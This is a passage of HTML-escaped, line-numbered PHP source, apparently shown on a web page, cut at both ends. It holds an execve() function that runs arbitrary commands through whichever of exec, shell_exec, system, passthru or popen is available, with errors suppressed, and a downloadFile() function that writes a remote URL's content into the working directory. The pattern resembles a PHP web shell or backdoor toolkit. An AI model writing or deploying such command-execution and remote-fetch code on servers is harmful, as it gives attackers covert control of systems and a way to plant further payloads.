0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum513&quot;&gt; 513:&lt;/span&gt;         fclose($pipes[1]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum514&quot;&gt; 514:&lt;/span&gt;         fclose($pipes[2]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum515&quot;&gt; 515:&lt;/span&gt;         proc_close($process);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum516&quot;&gt; 516:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum517&quot;&gt; 517:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum518&quot;&gt; 518:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; execve($cmd) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum519&quot;&gt; 519:&lt;/span&gt;       &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&quot;exec&quot;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum520&quot;&gt; 520:&lt;/span&gt;         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum521&quot;&gt; 521:&lt;/span&gt;             exec($cmd, $o);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum522&quot;&gt; 522:&lt;/span&gt;             $&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; = join(&lt;span style=&quot;color: #006080&quot;&gt;&quot;\r\n&quot;&lt;/span&gt;, $o);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum523&quot;&gt; 523:&lt;/span&gt;         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum524&quot;&gt; 524:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&quot;shell_exec&quot;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum525&quot;&gt; 525:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum526&quot;&gt; 526:&lt;/span&gt;                 $&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; = shell_exec($cmd);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum527&quot;&gt; 527:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum528&quot;&gt; 528:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&quot;system&quot;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum529&quot;&gt; 529:&lt;/span&gt;                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum530&quot;&gt; 530:&lt;/span&gt;                     @ob_start();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum531&quot;&gt; 531:&lt;/span&gt;                     @system($cmd);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum532&quot;&gt; 532:&lt;/span&gt;                     $&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; = @ob_get_contents();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum533&quot;&gt; 533:&lt;/span&gt;                     @ob_end_clean();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum534&quot;&gt; 534:&lt;/span&gt;                 }  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum535&quot;&gt; 535:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&quot;passthru&quot;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum536&quot;&gt; 536:&lt;/span&gt;                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum537&quot;&gt; 537:&lt;/span&gt;                         @ob_start();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum538&quot;&gt; 538:&lt;/span&gt;                         @passthru($cmd);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum539&quot;&gt; 539:&lt;/span&gt;                         $&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; = @ob_get_contents();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum540&quot;&gt; 540:&lt;/span&gt;                         @ob_end_clean();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum541&quot;&gt; 541:&lt;/span&gt;                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum542&quot;&gt; 542:&lt;/span&gt;                     &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&quot;popen&quot;&lt;/span&gt;) &amp;amp;&amp;amp; is_resource($h = popen($cmd.&lt;span style=&quot;color: #006080&quot;&gt;&#39; 2&amp;gt;&amp;amp;1&#39;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&#39;r&#39;&lt;/span&gt;)))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum543&quot;&gt; 543:&lt;/span&gt;                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum544&quot;&gt; 544:&lt;/span&gt;                             &lt;span style=&quot;color: #0000ff&quot;&gt;while&lt;/span&gt;(!feof($h))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum545&quot;&gt; 545:&lt;/span&gt;                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum546&quot;&gt; 546:&lt;/span&gt;                                     $&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; .= fread($h, 2096);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum547&quot;&gt; 547:&lt;/span&gt;                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum548&quot;&gt; 548:&lt;/span&gt;                             pclose($h);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum549&quot;&gt; 549:&lt;/span&gt;                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum550&quot;&gt; 550:&lt;/span&gt;                     &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum551&quot;&gt; 551:&lt;/span&gt;                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum552&quot;&gt; 552:&lt;/span&gt;                             $&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; = 0;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum553&quot;&gt; 553:&lt;/span&gt;                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum554&quot;&gt; 554:&lt;/span&gt;       &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; $&lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum555&quot;&gt; 555:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum556&quot;&gt; 556:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum557&quot;&gt; 557:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; downloadFile($url, $filename) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum558&quot;&gt; 558:&lt;/span&gt;         $out = &lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum559&quot;&gt; 559:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;((ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&#39;allow_url_fopen&#39;&lt;/span&gt;) == 1) || (strtolower(ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&#39;allow_url_fopen&#39;&lt;/span&gt;)) == &lt;span style=&quot;color: #006080&quot;&gt;&quot;on&quot;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum560&quot;&gt; 560:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum561&quot;&gt; 561:&lt;/span&gt;                 $fopen = @fopen(getcwd().DS.$filename, &lt;span style=&quot;color: #006080&quot;&gt;&#39;w&#39;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum562&quot;&gt; 562:&lt;/span&gt;                 @fwrite($fopen, file_get_contents($url));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum563&quot;&gt; 563:&lt;/span&gt;                 @fclose($fopen);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum564&quot;&gt; 